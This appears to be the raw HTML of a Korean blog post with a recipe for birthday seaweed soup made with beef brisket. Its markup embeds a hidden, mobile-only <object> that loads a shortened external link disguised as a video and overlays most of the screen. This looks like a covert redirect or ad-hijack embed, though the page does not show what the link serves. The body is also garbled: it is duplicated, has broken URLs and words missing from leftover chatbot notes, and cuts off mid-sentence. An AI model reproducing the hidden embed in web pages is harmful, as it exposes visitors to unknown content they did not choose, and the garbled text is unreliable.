생일미역국 소고기 미역국 맛있게 끓이는 방법 소고기양지 미역국

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3g" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:28">생일미역국, 소고기 양지로 더욱 깊은 맛을!</h2><p data-sourcepos="3:1-3:28"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://static.wtable./image/production/service/recipe/287/c9d8a6d1-1efc-4506-be0e-c2e967f519f3.jpg?size=800x800"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_864b7ad0ad7713d0&quot;,&quot;c_a4b58b0fccde39b7&quot;,null,&quot;rc_eecc22e03dfe45ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://wtable./recipes/CHrxcigx5arCoXzS6yVbU7YC"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="소고기 양지 미역국 재료 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTqk9P40BvxJ2_hy9lJu8GABfvy7NvIpU8T-uTZtEnxkAO8D-axyHWCQC7TJcUO"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://wtable./recipes/CHrxcigx5arCoXzS6yVbU7YC" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_864b7ad0ad7713d0&quot;,&quot;c_a4b58b0fccde39b7&quot;,null,&quot;rc_eecc22e03dfe45ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">wtable.</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 소고기 양지 미역국 재료 </div></div></single-image></response-element></div></span></p><p data-sourcepos="5:1-5:92">생일날 빠질 수 없는 미역국! 소고기 양지를 사용하면 더욱 깊고 풍부한 맛을 낼 수 있습니다. 지금부터 간단한 레시피와 함께 맛있는 미역국 끓이는 법을 알려드릴게요.</p><h3 data-sourcepos="7:1-7:9">재료 준비</h3><ul data-sourcepos="9:1-18:0"> <li data-sourcepos="9:1-9:40"><strong>소고기 양지:</strong> 300g (찬물에 30분 이상 담가 핏물 제거)</li> <li data-sourcepos="10:1-10:40"><strong>건미역:</strong> 20g (30분 이상 물에 불려 잘 헹궈 물기 제거)</li> <li data-sourcepos="11:1-11:19"><strong>양파:</strong> 1개 (채 썰기)</li> <li data-sourcepos="12:1-12:16"><strong>다진 마늘:</strong> 1큰술</li> <li data-sourcepos="13:1-13:14"><strong>국간장:</strong> 2큰술</li> <li data-sourcepos="14:1-14:15"><strong>멸치액젓:</strong> 1큰술</li> <li data-sourcepos="15:1-15:14"><strong>참기름:</strong> 1큰술</li> <li data-sourcepos="16:1-16:12"><strong>후추:</strong> 약간</li> <li data-sourcepos="17:1-18:0"><strong>물:</strong> 1.5L</li> </ul><h3 data-sourcepos="19:1-19:9">만드는 법</h3><ol data-sourcepos="21:1-27:0"> <li data-sourcepos="21:1-21:61"><strong>볶기:</strong> 냄비에 참기름을 두르고 양파를 볶다가, 핏물을 제거한 소고기 양지를 넣어 함께 볶아줍니다.</li> <li data-sourcepos="22:1-22:46"><strong>양념:</strong> 다진 마늘을 넣고 향을 내준 후, 불린 미역을 넣어 볶아줍니다.</li> <li data-sourcepos="23:1-23:27"><strong>물 넣기:</strong> 물 1.5L를 부어줍니다.</li> <li data-sourcepos="24:1-24:46"><strong>끓이기:</strong> 센 불에서 끓기 시작하면 중불로 줄여 30분 이상 끓여줍니다.</li> <li data-sourcepos="25:1-25:38"><strong>간 맞추기:</strong> 국간장, 멸치액젓, 후추로 간을 맞춰줍니다.</li> <li data-sourcepos="26:1-27:0"><strong>완성:</strong> 기호에 따라 다진 파를 넣어 마무리하면 더욱 먹음직스러운 미역국이 완성됩니다.</li> </ol><p data-sourcepos="28:1-28:32"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://mblogthumb-phinf.pstatic.net/MjAyNDAyMDRfMTY4/MDAxNzA3MDI4MTA0OTUw.RT-jts1aE14SbpK7GYsaIn15mokfuhKgutXA4JVPxKsg.3RLeyerOh7NMAoeK7QSOehAj12PtK1tViNYaSaYmE_Qg.JPEG.jsk3514/SE-ce2a5362-7b6d-44bb-babb-c023e1a13a29.jpg?type=w800"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_864b7ad0ad7713d0&quot;,&quot;c_a4b58b0fccde39b7&quot;,null,&quot;rc_eecc22e03dfe45ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///jsk3514/223343725478"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="소고기 양지 미역국 끓이는 과정 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcS2DunxppI_PHQoC9CXJNUGfWGmck6nkX2sGhT66_58kjvIx375Rj-K_VkBXlMp"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s:///jsk3514/223343725478" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_864b7ad0ad7713d0&quot;,&quot;c_a4b58b0fccde39b7&quot;,null,&quot;rc_eecc22e03dfe45ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 소고기 양지 미역국 끓이는 과정 </div></div></single-image></response-element></div></span></p><h3 data-sourcepos="30:1-30:17">미역국 맛있게 끓이는 팁</h3><ul data-sourcepos="32:1-37:0"> <li data-sourcepos="32:1-32:48"><strong>미역 불리기:</strong> 미역은 찬물에 충분히 불려야 부드러워지고 비린 맛이 덜합니다.</li> <li data-sourcepos="33:1-33:64"><strong>핏물 제거:</strong> 소고기 양지는 찬물에 담가 핏물을 충분히 제거해야 잡내 없이 깔끔한 국물을 낼 수 있습니다.</li> <li data-sourcepos="34:1-34:50"><strong>양파 볶기:</strong> 양파를 먼저 볶아 단맛을 우려내면 국물이 더욱 시원하고 깊어집니다.</li> <li data-sourcepos="35:1-35:45"><strong>오래 끓이기:</strong> 미역국은 오래 끓일수록 국물이 깊어지고 더욱 맛있습니다.</li> <li data-sourcepos="36:1-37:0"><strong>간 조절:</strong> 간은 기호에 맞게 조절해주세요. 멸치액젓 대신 소금을 사용해도 좋습니다.</li> </ul><p data-sourcepos="38:1-38:29"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://homecuisine./files/attach/images/140/355/102/8ff62515a8ec1053cfe6e620b7e1f812.JPG"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_864b7ad0ad7713d0&quot;,&quot;c_a4b58b0fccde39b7&quot;,null,&quot;rc_eecc22e03dfe45ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://homecuisine./hc10/102355"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="완성된 소고기 양지 미역국 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQ5qRrznacDeYnpi5hYrdt1Qb2f7J4sSvy5CBPb7iVeuYyELeojHxY6mnU244FF"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://homecuisine./hc10/102355" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_864b7ad0ad7713d0&quot;,&quot;c_a4b58b0fccde39b7&quot;,null,&quot;rc_eecc22e03dfe45ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcQq3pFSDzVXilMZ7OazUsJanRY6370tLzrf7Fg0k5OmDODq4RAONcaOOY0SAy1WIWEh3Q1qvE9KuzzZjONVUXBuRiJA9Yd8-_mPYMI"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">homecuisine.</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 완성된 소고기 양지 미역국 </div></div></single-image></response-element></div></span></p><p data-sourcepos="40:1-40:39"><strong>따뜻한 미역국 한 그릇으로 소중한 사람들에게 마음을 전해보세요!</strong></p><p data-sourcepos="42:1-42:32"><strong>생일미역국 소고기양지미역국 미역국레시피 집밥</strong></p><p data-sourcepos="44:1-44:42"><strong>더욱 다양한 레시피와 요리 정보를 원하시면, 지금 바로 해보세요!</strong></p><p data-sourcepos="46:1-46:32"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://blogthumb.pstatic.net/MjAyMzA1MTdfMjMg/MDAxNjg0MjU1MDI0Mjk4.8tkGZdDkdCQguL10tmSDpxMT3u51xqbWJlSOU5plAgMg.-M4ESBXciWuzZUe74Uvbl9QFO5U5AtMw1buSwvufqIgg.JPEG.naipo000/SE-ec838869-62af-4327-9bef-ba54a52fe4c7.jpg?type=w2"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_864b7ad0ad7713d0&quot;,&quot;c_a4b58b0fccde39b7&quot;,null,&quot;rc_eecc22e03dfe45ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///naipo000/223104882917?viewType=pc"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="다양한 미역국 레시피 결과 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSjLgDs-GTd11fEmgA6vzJ6vfnoXqFJQkrW41LKLWroF4i_wxvQIfbW-tbkq_SO"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s:///naipo000/223104882917?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_864b7ad0ad7713d0&quot;,&quot;c_a4b58b0fccde39b7&quot;,null,&quot;rc_eecc22e03dfe45ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 다양한 미역국 레시피 결과 </div></div></single-image></response-element></div></span></p><p data-sourcepos="48:1-48:119"><strong>Tip:</strong> 위에 제시된 텍스트는 과 함께 미역국 레시피를 설명하는 게시글 형식으로 작성되었습니다. 실제 게시글에는 더욱 다양한 정보와 사진을 추가하여 독자들의 시각적인 만족도를 높일 수 있습니다.</p><p data-sourcepos="50:1-50:49"><strong>주의:</strong> 은 직접 촬영하거나 저작권에 문제가 없는 을 사용해야 합니다.</p><p data-sourcepos="52:1-52:79"><strong>참고:</strong> 위에 제시된 레시피는 기본적인 방법이며, 개인의 취향에 따라 재료나 양을 조절하여 자신만의 특별한 미역국을 만들 수 있습니다.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3g" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:28">생일미역국, 소고기 양지로 더욱 깊은 맛을!</h2><p data-sourcepos="3:1-3:28"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://static.wtable./image/production/service/recipe/287/c9d8a6d1-1efc-4506-be0e-c2e967f519f3.jpg?size=800x800"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_864b7ad0ad7713d0","c_a4b58b0fccde39b7",null,"rc_eecc22e03dfe45ff",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://wtable./recipes/CHrxcigx5arCoXzS6yVbU7YC"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="소고기 양지 미역국 재료 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTqk9P40BvxJ2_hy9lJu8GABfvy7NvIpU8T-uTZtEnxkAO8D-axyHWCQC7TJcUO"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://wtable./recipes/CHrxcigx5arCoXzS6yVbU7YC" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_864b7ad0ad7713d0","c_a4b58b0fccde39b7",null,"rc_eecc22e03dfe45ff",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">wtable.</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 소고기 양지 미역국 재료 </div></div></single-image></response-element></div></span></p><p data-sourcepos="5:1-5:92">생일날 빠질 수 없는 미역국! 소고기 양지를 사용하면 더욱 깊고 풍부한 맛을 낼 수 있습니다. 지금부터 간단한 레시피와 함께 맛있는 미역국 끓이는 법을 알려드릴게요.</p><h3 data-sourcepos="7:1-7:9">재료 준비</h3><ul data-sourcepos="9:1-18:0"> <li data-sourcepos="9:1-9:40"><strong>소고기 양지:</strong> 300g (찬물에 30분 이상 담가 핏물 제거)</li> <li data-sourcepos="10:1-10:40"><strong>건미역:</strong> 20g (30분 이상 물에 불려 잘 헹궈 물기 제거)</li> <li data-sourcepos="11:1-11:19"><strong>양파:</strong> 1개 (채 썰기)</li> <li data-sourcepos="12:1-12:16"><strong>다진 마늘:</strong> 1큰술</li> <li data-sourcepos="13:1-13:14"><strong>국간장:</strong> 2큰술</li> <li data-sourcepos="14:1-14:15"><strong>멸치액젓:</strong> 1큰술</li> <li data-sourcepos="15:1-15:14"><strong>참기름:</strong> 1큰술</li> <li data-sourcepos="16:1-16:12"><strong>후추:</strong> 약간</li> <li data-sourcepos="17:1-18:0"><strong>물:</strong> 1.5L</li> </ul><h3 data-sourcepos="19:1-19:9">만드는 법</h3><ol data-sourcepos="21:1-27:0"> <li data-sourcepos="21:1-21:61"><strong>볶기:</strong> 냄비에 참기름을 두르고 양파를 볶다가, 핏물을 제거한 소고기 양지를 넣어 함께 볶아줍니다.</li> <li data-sourcepos="22:1-22:46"><strong>양념:</strong> 다진 마늘을 넣고 향을 내준 후, 불린 미역을 넣어 볶아줍니다.</li> <li data-sourcepos="23:1-23:27"><strong>물 넣기:</strong> 물 1.5L를 부어줍니다.</li> <li data-sourcepos="24:1-24:46"><strong>끓이기:</strong> 센 불에서 끓기 시작하면 중불로 줄여 30분 이상 끓여줍니다.</li> <li data-sourcepos="25:1-25:38"><strong>간 맞추기:</strong> 국간장, 멸치액젓, 후추로 간을 맞춰줍니다.</li> <li data-sourcepos="26:1-27:0"><strong>완성:</strong> 기호에 따라 다진 파를 넣어 마무리하면 더욱 먹음직스러운 미역국이 완성됩니다.</li> </ol><p data-sourcepos="28:1-28:32"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://mblogthumb-phinf.pstatic.net/MjAyNDAyMDRfMTY4/MDAxNzA3MDI4MTA0OTUw.RT-jts1aE14SbpK7GYsaIn15mokfuhKgutXA4JVPxKsg.3RLeyerOh7NMAoeK7QSOehAj12PtK1tViNYaSaYmE_Qg.JPEG.jsk3514/SE-ce2a5362-7b6d-44bb-babb-c023e1a13a29.jpg?type=w800"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_864b7ad0ad7713d0","c_a4b58b0fccde39b7",null,"rc_eecc22e03dfe45ff",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///jsk3514/223343725478"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="소고기 양지 미역국 끓이는 과정 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcS2DunxppI_PHQoC9CXJNUGfWGmck6nkX2sGhT66_58kjvIx375Rj-K_VkBXlMp"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s:///jsk3514/223343725478" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_864b7ad0ad7713d0","c_a4b58b0fccde39b7",null,"rc_eecc22e03dfe45ff",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 소고기 양지 미역국 끓이는 과정 </div></div></single-image></response-element></div></span></p><h3 data-sourcepos="30:1-30:17">미역국 맛있게 끓이는 팁</h3><ul data-sourcepos="32:1-37:0"> <li data-sourcepos="32:1-32:48"><strong>미역 불리기:</strong> 미역은 찬물에 충분히 불려야 부드러워지고 비린 맛이 덜합니다.</li> <li data-sourcepos="33:1-33:64"><strong>핏물 제거:</strong> 소고기 양지는 찬물에 담가 핏물을 충분히 제거해야 잡내 없이 깔끔한 국물을 낼 수 있습니다.</li> <li data-sourcepos="34:1-34:50"><strong>양파 볶기:</strong> 양파를 먼저 볶아 단맛을 우려내면 국물이 더욱 시원하고 깊어집니다.</li> <li data-sourcepos="35:1-35:45"><strong>오래 끓이기:</strong> 미역국은 오래 끓일수록 국물이 깊어지고 더욱 맛있습니다.</li> <li data-sourcepos="36:1-37:0"><strong>간 조절:</strong> 간은 기호에 맞게 조절해주세요. 멸치액젓 대신 소금을 사용해도 좋습니다.</li> </ul><p data-sourcepos="38:1-38:29"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://homecuisine./files/attach/images/140/355/102/8ff62515a8ec1053cfe6e620b7e1f812.JPG"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_864b7ad0ad7713d0","c_a4b58b0fccde39b7",null,"rc_eecc22e03dfe45ff",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://homecuisine./hc10/102355"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="완성된 소고기 양지 미역국 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ5qRrznacDeYnpi5hYrdt1Qb2f7J4sSvy5CBPb7iVeuYyELeojHxY6mnU244FF"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://homecuisine./hc10/102355" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_864b7ad0ad7713d0","c_a4b58b0fccde39b7",null,"rc_eecc22e03dfe45ff",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQq3pFSDzVXilMZ7OazUsJanRY6370tLzrf7Fg0k5OmDODq4RAONcaOOY0SAy1WIWEh3Q1qvE9KuzzZjONVUXBuRiJA9Yd8-_mPYMI"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">homecuisine.</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 완성된 소고기 양지 미역국 </div></div></single-image></response-element></div></span></p><p data-sourcepos="40:1-40:39"><strong>따뜻한 미역국 한 그릇으로 소중한 사람들에게 마음을 전해보세요!</strong></p><p data-sourcepos="42:1-42:32"><strong>생일미역국 소고기양지미역국 미역국레시피 집밥</strong></p><p data-sourcepos="44:1-44:42"><strong>더욱 다양한 레시피와 요리 정보를 원하시면, 지금 바로 해보세요!</strong></p><p data-sourcepos="46:1-46:32"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://blogthumb.pstatic.net/MjAyMzA1MTdfMjMg/MDAxNjg0MjU1MDI0Mjk4.8tkGZdDkdCQguL10tmSDpxMT3u51xqbWJlSOU5plAgMg.-M4ESBXciWuzZUe74Uvbl9QFO5U5AtMw1buSwvufqIgg.JPEG.naipo000/SE-ec838869-62af-4327-9bef-ba54a52fe4c7.jpg?type=w2"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_864b7ad0ad7713d0","c_a4b58b0fccde39b7",null,"rc_eecc22e03dfe45ff",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///naipo000/223104882917?viewType=pc"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="다양한 미역국 레시피 결과 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSjLgDs-GTd11fEmgA6vzJ6vfnoXqFJQkrW41LKLWroF4i_wxvQIfbW-tbkq_SO"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s:///naipo000/223104882917?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_864b7ad0ad7713d0","c_a4b58b0fccde39b7",null,"rc_eecc22e03dfe45ff",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 다양한 미역국 레시피 결과 </div></div></single-image></response-element></div></span></p><p data-sourcepos="48:1-48:119"><strong>Tip:</strong> 위에 제시된 텍스트는 과 함께 미역국 레시피를 설명하는 게시글 형식으로 작성되었습니다. 실제 게시글에는 더욱 다양한 정보와 사진을 추가하여 독자들의 